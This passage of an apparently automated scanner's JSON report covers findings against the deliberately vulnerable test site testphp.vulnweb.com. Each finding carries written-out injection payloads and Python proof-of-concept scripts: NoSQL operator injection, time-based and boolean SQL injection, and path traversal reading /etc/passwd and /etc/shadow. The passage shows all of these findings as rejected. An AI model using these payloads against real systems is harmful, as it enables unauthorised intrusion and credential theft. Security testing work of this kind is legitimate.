      "evidence": "NoSQL error indicator: \\$gt | New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | NoSQL error induced: $gt | [NO PROOF] No NoSQL error or boolean diff | [CONTROLS] NEGATIVE CONTROL FAILED: 1/4 controls show same behavior as attack (empty) | [AI] The payload was **ignored/filtered**. The server returned a standard 200 HTML page with no indication that the NoSQL operator `{\"$gt\": \"\"}` was processed - there are no MongoDB error messages, no behavioral changes, and no evidence the query logic was modified by the `$gt` operator. | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Authentication bypass, data theft, and potential server compromise depending on database configuration.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"NoSQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/listproducts.php?cat=%7B%22$gt%22:+%22%22%7D\nParameter: cat\n\"\"\"\nimport requests\nimport json\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/listproducts.php?cat=%7B%22$gt%22:+%22%22%7D\"\n\n# NoSQL injection payloads\nPAYLOADS = [\n    # MongoDB operator injection\n    {\"cat[$ne]\": \"\"},\n    {\"cat[$gt]\": \"\"},\n    {\"cat[$regex]\": \".*\"},\n    # JSON body injection\n    {\"$where\": \"1==1\"},\n]\n\ndef test_nosql():\n    print(f\"[*] Testing NoSQL Injection on {TARGET}\")\n    # Test with query params\n    for p in PAYLOADS[:3]:\n        resp = requests.get(TARGET, params=p, verify=False, timeout=10)\n        print(f\"[*] Payload: {p} -> Status: {resp.status_code}, Length: {len(resp.text)}\")\n\n    # Test with JSON body\n    for p in PAYLOADS[3:]:\n        resp = requests.post(TARGET, json=p, verify=False, timeout=10)\n        print(f\"[*] JSON Payload: {p} -> Status: {resp.status_code}, Length: {len(resp.text)}\")\n\nif __name__ == \"__main__\":\n    test_nosql()\n",
      "remediation": "1. Validate and sanitize all user input\n2. Use parameterized queries where available\n3. Disable server-side JavaScript execution\n4. Apply strict typing to query parameters",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected nosql_injection in cat: no proof of execution; negative controls show same behavior (1/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "651d9f77",
      "title": "NoSQL Injection",
      "severity": "high",
      "vulnerability_type": "nosql_injection",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "cwe_id": "CWE-943",
      "description": "Injection attack targeting NoSQL databases like MongoDB through operator injection.",
      "affected_endpoint": "http://testphp.vulnweb.com/showimage.php?file=%7B%22$gt%22:+%22%22%7D",
      "parameter": "file",
      "payload": "{\"$gt\": \"\"}",
      "evidence": "NoSQL error indicator: \\$gt | NoSQL error induced: $gt | [NO PROOF] No NoSQL error or boolean diff | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, benign) | [AI] The payload was NOT processed as a NoSQL injection. The server treated the literal string `{\"$gt\": \"\"}` as a filename parameter and attempted to open it as a file, resulting in PHP file operation errors rather than any NoSQL query execution or database interaction. | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Authentication bypass, data theft, and potential server compromise depending on database configuration.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"NoSQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/showimage.php?file=%7B%22$gt%22:+%22%22%7D\nParameter: file\n\"\"\"\nimport requests\nimport json\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/showimage.php?file=%7B%22$gt%22:+%22%22%7D\"\n\n# NoSQL injection payloads\nPAYLOADS = [\n    # MongoDB operator injection\n    {\"file[$ne]\": \"\"},\n    {\"file[$gt]\": \"\"},\n    {\"file[$regex]\": \".*\"},\n    # JSON body injection\n    {\"$where\": \"1==1\"},\n]\n\ndef test_nosql():\n    print(f\"[*] Testing NoSQL Injection on {TARGET}\")\n    # Test with query params\n    for p in PAYLOADS[:3]:\n        resp = requests.get(TARGET, params=p, verify=False, timeout=10)\n        print(f\"[*] Payload: {p} -> Status: {resp.status_code}, Length: {len(resp.text)}\")\n\n    # Test with JSON body\n    for p in PAYLOADS[3:]:\n        resp = requests.post(TARGET, json=p, verify=False, timeout=10)\n        print(f\"[*] JSON Payload: {p} -> Status: {resp.status_code}, Length: {len(resp.text)}\")\n\nif __name__ == \"__main__\":\n    test_nosql()\n",
      "remediation": "1. Validate and sanitize all user input\n2. Use parameterized queries where available\n3. Disable server-side JavaScript execution\n4. Apply strict typing to query parameters",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected nosql_injection in file: no proof of execution; negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "28de7666",
      "title": "NoSQL Injection",
      "severity": "high",
      "vulnerability_type": "nosql_injection",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "cwe_id": "CWE-943",
      "description": "Injection attack targeting NoSQL databases like MongoDB through operator injection.",
      "affected_endpoint": "http://testphp.vulnweb.com/hpp/?pp=%7B%22$gt%22:+%22%22%7D",
      "parameter": "pp",
      "payload": "{\"$gt\": \"\"}",
      "evidence": "NoSQL error indicator: \\$gt | NoSQL error induced: $gt | [NO PROOF] No NoSQL error or boolean diff | [CONTROLS] Negative controls passed: 0/4 controls match attack response | [AI] The NoSQL injection payload was **not processed/executed** - it was simply reflected back in the HTML as literal text in URLs and form actions. The server treated `{\"$gt\": \"\"}` as regular string data rather than executing it as a NoSQL query operator, showing no evidence of database interaction or q | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Authentication bypass, data theft, and potential server compromise depending on database configuration.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"NoSQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/hpp/?pp=%7B%22$gt%22:+%22%22%7D\nParameter: pp\n\"\"\"\nimport requests\nimport json\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/hpp/?pp=%7B%22$gt%22:+%22%22%7D\"\n\n# NoSQL injection payloads\nPAYLOADS = [\n    # MongoDB operator injection\n    {\"pp[$ne]\": \"\"},\n    {\"pp[$gt]\": \"\"},\n    {\"pp[$regex]\": \".*\"},\n    # JSON body injection\n    {\"$where\": \"1==1\"},\n]\n\ndef test_nosql():\n    print(f\"[*] Testing NoSQL Injection on {TARGET}\")\n    # Test with query params\n    for p in PAYLOADS[:3]:\n        resp = requests.get(TARGET, params=p, verify=False, timeout=10)\n        print(f\"[*] Payload: {p} -> Status: {resp.status_code}, Length: {len(resp.text)}\")\n\n    # Test with JSON body\n    for p in PAYLOADS[3:]:\n        resp = requests.post(TARGET, json=p, verify=False, timeout=10)\n        print(f\"[*] JSON Payload: {p} -> Status: {resp.status_code}, Length: {len(resp.text)}\")\n\nif __name__ == \"__main__\":\n    test_nosql()\n",
      "remediation": "1. Validate and sanitize all user input\n2. Use parameterized queries where available\n3. Disable server-side JavaScript execution\n4. Apply strict typing to query parameters",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected nosql_injection in pp: no proof of execution; AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "d813f203",
      "title": "Time-based Blind SQL Injection",
      "severity": "high",
      "vulnerability_type": "sqli_time",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "cwe_id": "CWE-89",
      "description": "SQL injection where attacker can infer information based on time delays in responses.",
      "affected_endpoint": "http://testphp.vulnweb.com/product.php?pic='%3B+WAITFOR+DELAY+'0:0:5'--",
      "parameter": "pic",
      "payload": "'; WAITFOR DELAY '0:0:5'--",
      "evidence": "New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax | [NO PROOF] No timing anomaly detected | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] **The payload was likely ignored/filtered.** The response shows a normal HTML page with standard content, and critically, **no timing information was provided** - without measuring actual response time delays (5+ seconds for WAITFOR DELAY), there's no evidence the SQL injection payload was executed  | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete data extraction possible, though slower. Can determine database structure and content.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"SQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/product.php?pic='%3B+WAITFOR+DELAY+'0:0:5'--\nParameter: pic\nPayload: '; WAITFOR DELAY '0:0:5'--\nEvidence: New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax | [NO PROOF] No timing anomaly detected | [CONTROLS] N\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/product.php?pic='%3B+WAITFOR+DELAY+'0:0:5'--\"\nPARAM = \"pic\"\nPAYLOAD = \"'; WAITFOR DELAY '0:0:5'--\"\n\ndef test_sqli():\n    print(f\"[*] Testing SQL Injection on {TARGET}\")\n    print(f\"[*] Parameter: {PARAM}\")\n    print(f\"[*] Payload: {PAYLOAD}\")\n    print()\n\n    # Test 1: Original payload\n    params = {PARAM: PAYLOAD}\n    resp = requests.get(TARGET, params=params, verify=False, timeout=15)\n    print(f\"[*] Response status: {resp.status_code}\")\n    print(f\"[*] Response length: {len(resp.text)}\")\n\n    # Check for SQL error indicators\n    sql_errors = [\n        \"SQL syntax\", \"mysql_\", \"ORA-\", \"PostgreSQL\", \"sqlite3\",\n        \"ODBC\", \"syntax error\", \"unclosed quotation\", \"unterminated\",\n        \"Microsoft SQL\", \"Warning: mysql\", \"SQLSTATE\"\n    ]\n    for error in sql_errors:\n        if error.lower() in resp.text.lower():\n            print(f\"[!] SQL Error detected: {error}\")\n\n    # Test 2: Boolean-based detection\n    print(\"\\n[*] Boolean-based test:\")\n    true_payload = PAYLOAD.replace(\"'\", \"' OR '1'='1\")\n    false_payload = PAYLOAD.replace(\"'\", \"' OR '1'='2\")\n    r_true = requests.get(TARGET, params={PARAM: true_payload}, verify=False, timeout=15)\n    r_false = requests.get(TARGET, params={PARAM: false_payload}, verify=False, timeout=15)\n    if len(r_true.text) != len(r_false.text):\n        print(f\"[!] Boolean difference detected: true={len(r_true.text)} vs false={len(r_false.text)}\")\n    else:\n        print(f\"[*] No boolean difference (both {len(r_true.text)} bytes)\")\n\n    # Test 3: Time-based detection\n    import time\n    print(\"\\n[*] Time-based test:\")\n    time_payload = f\"{PARAM}' OR SLEEP(3)-- -\"\n    start = time.time()\n    try:\n        requests.get(TARGET, params={PARAM: time_payload}, verify=False, timeout=15)\n    except requests.Timeout:\n        pass\n    elapsed = time.time() - start\n    if elapsed >= 2.5:\n        print(f\"[!] Time delay detected: {elapsed:.1f}s (possible blind SQLi)\")\n    else:\n        print(f\"[*] No significant delay: {elapsed:.1f}s\")\n\nif __name__ == \"__main__\":\n    test_sqli()\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/product.php?pic='\\''%3B+WAITFOR+DELAY+'\\''0:0:5'\\''--?pic='\\''; WAITFOR DELAY '\\''0:0:5'\\''--'\n",
      "remediation": "1. Use parameterized queries\n2. Set strict query timeout limits\n3. Monitor for anomalously slow queries\n4. Implement rate limiting",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "6af6a12a",
      "title": "Arbitrary File Read",
      "severity": "high",
      "vulnerability_type": "arbitrary_file_read",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "cwe_id": "CWE-22",
      "description": "Reading arbitrary files via API or download endpoints outside intended scope.",
      "affected_endpoint": "http://testphp.vulnweb.com/product.php?pic=/etc/passwd",
      "parameter": "pic",
      "payload": "/etc/passwd",
      "evidence": "New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | [PROOF] payload_reflected: Payload reflected (not in baseline) for arbitrary_file_read | [CONTROLS] NEGATIVE CONTROL FAILED: 3/4 controls show same behavior as attack (benign, benign, empty) | [AI] The payload `/etc/passwd` was **ignored/filtered** - the server returned a normal HTML page (picture details template) with no file content markers like `root:x:` or user entries that would indicate successful file read execution. The 200 status and HTML response suggest the application processed th | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Access to credentials, configuration, source code, private keys.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"Path Traversal / Local File Inclusion Proof of Concept\nTarget: http://testphp.vulnweb.com/product.php?pic=/etc/passwd\nParameter: pic\nPayload: /etc/passwd\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/product.php?pic=/etc/passwd\"\nPARAM = \"pic\"\n\nPAYLOADS = [\n    \"/etc/passwd\",\n    \"../../../etc/passwd\",\n    \"....//....//....//etc/passwd\",\n    \"..%2f..%2f..%2fetc%2fpasswd\",\n    \"..\\\\..\\\\..\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts\",\n    \"/etc/passwd\",\n    \"....//....//....//etc/shadow\",\n]\n\ndef test_lfi():\n    print(f\"[*] Testing Path Traversal on {TARGET}\")\n    for p in PAYLOADS:\n        resp = requests.get(TARGET, params={PARAM: p}, verify=False, timeout=10)\n        print(f\"\\n[*] Payload: {p}\")\n        print(f\"    Status: {resp.status_code} | Length: {len(resp.text)}\")\n        if \"root:\" in resp.text or \"daemon:\" in resp.text:\n            print(f\"    [!] /etc/passwd content detected!\")\n            print(f\"    First 200 chars: {resp.text[:200]}\")\n            break\n\nif __name__ == \"__main__\":\n    test_lfi()\n\n# curl:\n# curl 'http://testphp.vulnweb.com/product.php?pic=/etc/passwd?pic=/etc/passwd'\n",
      "remediation": "1. Validate file paths against whitelist\n2. Use chroot/jail\n3. Implement proper access controls\n4. Avoid user input in file paths",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected arbitrary_file_read in pic: negative controls show same behavior (3/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "0ad98af0",
      "title": "NoSQL Injection",
      "severity": "high",
      "vulnerability_type": "nosql_injection",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "cwe_id": "CWE-943",
      "description": "Injection attack targeting NoSQL databases like MongoDB through operator injection.",
      "affected_endpoint": "http://testphp.vulnweb.com/product.php?pic=%7B%22$gt%22:+%22%22%7D",
      "parameter": "pic",
      "payload": "{\"$gt\": \"\"}",
      "evidence": "NoSQL error indicator: \\$gt | New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | NoSQL error induced: $gt | [NO PROOF] No NoSQL error or boolean diff | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The payload was **ignored/filtered**. The response shows a normal HTML page for \"picture details\" with no indication that the NoSQL operator `{\"$gt\": \"\"}` was processed - there are no database errors, no behavioral changes, and no evidence the MongoDB operator affected the query execution. | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Authentication bypass, data theft, and potential server compromise depending on database configuration.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"NoSQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/product.php?pic=%7B%22$gt%22:+%22%22%7D\nParameter: pic\n\"\"\"\nimport requests\nimport json\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/product.php?pic=%7B%22$gt%22:+%22%22%7D\"\n\n# NoSQL injection payloads\nPAYLOADS = [\n    # MongoDB operator injection\n    {\"pic[$ne]\": \"\"},\n    {\"pic[$gt]\": \"\"},\n    {\"pic[$regex]\": \".*\"},\n    # JSON body injection\n    {\"$where\": \"1==1\"},\n]\n\ndef test_nosql():\n    print(f\"[*] Testing NoSQL Injection on {TARGET}\")\n    # Test with query params\n    for p in PAYLOADS[:3]:\n        resp = requests.get(TARGET, params=p, verify=False, timeout=10)\n        print(f\"[*] Payload: {p} -> Status: {resp.status_code}, Length: {len(resp.text)}\")\n\n    # Test with JSON body\n    for p in PAYLOADS[3:]:\n        resp = requests.post(TARGET, json=p, verify=False, timeout=10)\n        print(f\"[*] JSON Payload: {p} -> Status: {resp.status_code}, Length: {len(resp.text)}\")\n\nif __name__ == \"__main__\":\n    test_nosql()\n",
      "remediation": "1. Validate and sanitize all user input\n2. Use parameterized queries where available\n3. Disable server-side JavaScript execution\n4. Apply strict typing to query parameters",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected nosql_injection in pic: no proof of execution; negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    }
  ],
  "recommendations": [
    "Continue regular security assessments and penetration testing",
    "Implement security headers (CSP, X-Frame-Options, etc.)",
    "Keep all software and dependencies up to date"
  ],
  "executive_summary": "Assessment completed. Review findings for details.",
  "tool_executions": [],
  "request_stats": {
    "total_requests": 787,
    "total_errors": 13,
    "errors_by_type": {
      "success": 773,
      "client_error": 3,
      "rate_limited": 0,
      "waf_blocked": 0,
      "server_error": 1,
      "timeout": 0,
      "connection_error": 10
    },
    "hosts": {
      "testphp.vulnweb.com": {
        "requests": 779,
        "errors": 5,
        "avg_response_time": 0.238,
        "delay": 0.1,
        "circuit_open": false,
        "consecutive_failures": 0
      },
      "": {
        "requests": 8,
        "errors": 8,
        "avg_response_time": 0.0,
        "delay": 0.1,
        "circuit_open": true,
        "consecutive_failures": 8
      }
    }
  },
  "strategy_adaptation": {
    "total_tests": 482,
    "total_findings": 452,
    "endpoints_tested": 19,
    "endpoints_dead": 9,
    "endpoints_hot": 13,
    "rate_limiting_detected": false,
    "bypass_successes": 0,
    "bypass_details": [],
    "top_vuln_types": [
      {
        "type": "",
        "tests": 455,
        "confirmed": 452,
        "rate": "99.3%"
      },
      {
        "type": "sqli_union",
        "tests": 1,
        "confirmed": 0,
        "rate": "0.0%"
      },
      {
        "type": "rfi",
        "tests": 1,
        "confirmed": 0,
        "rate": "0.0%"
      },
      {
        "type": "ssrf_cloud",
        "tests": 1,
        "confirmed": 0,
        "rate": "0.0%"
      },
      {
        "type": "sqli_time",
        "tests": 8,
        "confirmed": 0,
        "rate": "0.0%"
      }
    ],
    "hot_endpoints": [
      "http://testphp.vulnweb.com/guestbook.php",
      "http://testphp.vulnweb.com/",
      "http://testphp.vulnweb.com/product.php",
      "http://testphp.vulnweb.com/Mod_Rewrite_Shop/",
      "http://testphp.vulnweb.com/listproducts.php",
      "http://testphp.vulnweb.com/showimage.php",
      "http://testphp.vulnweb.com/secured/newuser.php",
      "http://testphp.vulnweb.com/search.php",
      "http://testphp.vulnweb.com/artists.php",
      "http://testphp.vulnweb.com/hpp/"
    ]
  },
  "exploit_chains": {
    "0c9cdc69": [
      "xss_stored:http://testphp.vulnweb.com",
      "xss_stored:http://testphp.vulnweb.com/",
      "xss_stored:http://testphp.vulnweb.com/guestbook.php",
      "xss_stored:http://testphp.vulnweb.com/guestbook.php",
      "xss_stored:http://testphp.vulnweb.com/search.php?test=1",
      "cors_misconfiguration::///api/"
    ],
    "52cc495d": [
      "xss_stored:http://testphp.vulnweb.com",
      "xss_stored:http://testphp.vulnweb.com/",
      "xss_stored:http://testphp.vulnweb.com/guestbook.php",
      "xss_stored:http://testphp.vulnweb.com/guestbook.php",
      "xss_stored:http://testphp.vulnweb.com/search.php?test=1",
      "cors_misconfiguration::///api/"
    ],
    "c058a2a4": [
      "sqli_union:",
      "sqli_blind:",
      "sqli_time:"
    ]
  },
  "auth_status": {
    "contexts": {
      "user_a": {
        "state": "unauthenticated",
        "role": "user",
        "credential": null,
        "has_tokens": false,
        "has_cookies": false
      },
      "user_b": {
        "state": "unauthenticated",
        "role": "user",
        "credential": null,
        "has_tokens": false,
        "has_cookies": false
      },
      "admin": {
        "state": "unauthenticated",
        "role": "admin",
        "credential": null,
        "has_tokens": false,
        "has_cookies": false
      }
    },
    "login_forms_found": 0,
    "login_attempts": 0,
    "successful_logins": 0,
    "credentials_available": {
      "user": 0,
      "admin": 0
    }
  }
}